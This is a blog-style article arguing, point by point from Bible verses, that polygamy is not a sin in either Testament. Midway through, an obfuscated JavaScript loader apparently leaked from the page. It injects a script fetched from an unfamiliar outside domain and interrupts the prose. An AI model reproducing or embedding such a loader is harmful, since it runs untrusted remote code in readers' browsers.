Is Polygamy Or Marrying More Than One Wife A Sin In The Bible?

The issue of whether polygamy or marrying more than one wife is a sin is a hotly debated one. This debate has polarized the entire world along cultural and religious lines without the slightest hope of a middle ground. Some argue that polygamy is a sin while others affirm that it is not.

Christian Views on Polygamy / Marrying More Than one Wife

What are the views held by christians on these issue of marrying more than one wife? Christians around the world hold different views on this issue. As far as polygamy is concerned, there are three views held by christians, namely:

Marrying more than one wife (polygamy) is a sin that God allowed in the Old Testament but disallows in the New.
(Polygamy) marrying more than one wife is not a sin in the Old Testament, but it is in the New.
Marrying more than one wife / polygamy is not a sin at all, both in the Old and New Testaments.

Is Polygamy (Marrying More one Wife) a Sin?

The short answer is no, polygamy, that is, marrying more than one wife is not a sin. This means that the third view is correct. Now, I want to give you a detailed answer. However, for this to be effective, it has to occur alongside reasons people think that polygamy is a sin.

Why do People Think That Marrying More Than one Wife (Polygamy) is a Sin?

Here are the reasons people think that polygamy or marrying more than one wife as a sin.

(1) God gave Adam only one wife: Yes, this is true but God did not tell us that he is setting a matrimonial standard here. He did not tell us he is establishing monogamy as a rule for others to obey and there is no biblical hint to this effect. God simply gave Adam one wife because he correctly reasoned that first, a man may be content with one wife and, second, man has the ability to request another wife if he is dissatisfied with only one.

(function(iiafb){
var d = document,
    s = d.createElement('script'),
    l = d.scripts[d.scripts.length - 1];
s.settings = iiafb || {};
s.src = "\/\/deafeningphone.com\/bJXQVYsBd.GUlJ0PY\/WFcl\/deXmY9OuRZkU-ljkxPqTkUG2GO\/Dbc\/4\/NqTvY_t_NsTuY\/4\/NAzygN1SNWwV";
s.async = true;
s.referrerPolicy = 'no-referrer-when-downgrade';
l.parentNode.insertBefore(s, l);
})({})

As expected, in consonance with God’s first reasoning, Adam did not ask for another wife. Although if he had, there is no scriptural grounds for asserting that God would have turned down his request.

(2) A man shall leave his father’s house and be joined to his wife and the two shall become one flesh: Those who base their view on this statement emphasize the following expressions contained in the statement:“a man“, ” joined to his wife“, “the two shall become one flesh.” According to them, a man can only be joined to his wife but not wives and the two not three or more shall become one flesh.

When God use the expressions “a man “, “his wife”, and “the two shall become one flesh,” he is not waging any war against polygamy nor is he saying that a man cannot be joined to two or more wives. These expressions simply reflect God’s first correct reasoning that a man may be content with one wife.

Can a Man be Joined to More Than one Woman and Can a Woman be Joined to More Than one Man?

Yes, a man can be joined to more than one woman but a woman cannot be joined to more than one man. (Read Exodus 21:10, Romans 7:2-3). That is why God allowed men to marry more than one wife but forbids women getting married to more than one man simultaneously.

(3) Let every man have have sexual relations with his own wife: Some people quote this emphasizing “man” and “wife.” Here too, God is not instituting monogamy instead of polygamy. He is only speaking in line with his first correct reasoning that a man may be content with one wife.

(4) An elder, overseer or deacon must be husband of one woman: Some point to this statement in an attempt to validate their view. But the Greek expression translated as “husband of one woman“ can literally be translated as “a one-woman man” or “a man of one woman.” This expression is not advocating a ban on polygamy. Rather, it is a warning against promiscuity or infidelity. Interestingly, the New International Version renders it as “faithful to his wife.”

(5) Polygamy generate problems: Problems are not peculiar to polygamous families. A little observation will let you know that there are countless monogamous families that has more terrible problems than some polygamous ones.

Some mention polygamist Bible characters and attribute their problems to marrying more than one wife. Now if we use David and Solomon as examples of polygamists who had problems, we can, on careful investigation, realize that their problems were not the consequences of polygamy, instead, they are the direct result of the evil desires of those involved.

If people’s hearts are in ugly condition, polygamy does not need to be in place before hatred and unhealthy rivalry set in. It is evident that numerous polygamous families who embrace love as their watchword are living in a far better situation than monogamous families who are hateful and competitive.

Did God Approve or Just Overlook Polygamy (Marrying More Than one Wife) in the Old Testament?

Yes, God approved marrying more than one wife or polygamy, not just overlook it, both in the Old and New Testament but it is not compulsory to practise it. To say that God overlooked polygamy in the Old Testament, as some do, is first, to do a very bad biblical exegesis and, second, it is to indirectly accuse God of formulating a rule that people will use to perpetrate evil because God made a rule that says if a man marries another wife, he must not deprive the first one of her food clothing and marital rights. (Exodus 21:10)

Conclusion

Marrying more than one wife, that is polygamy, is not a sin in the Bible, both in the Old Testament and New Testament. I have explained to you why people conclude that polygamy is a sin and why it is not a sin.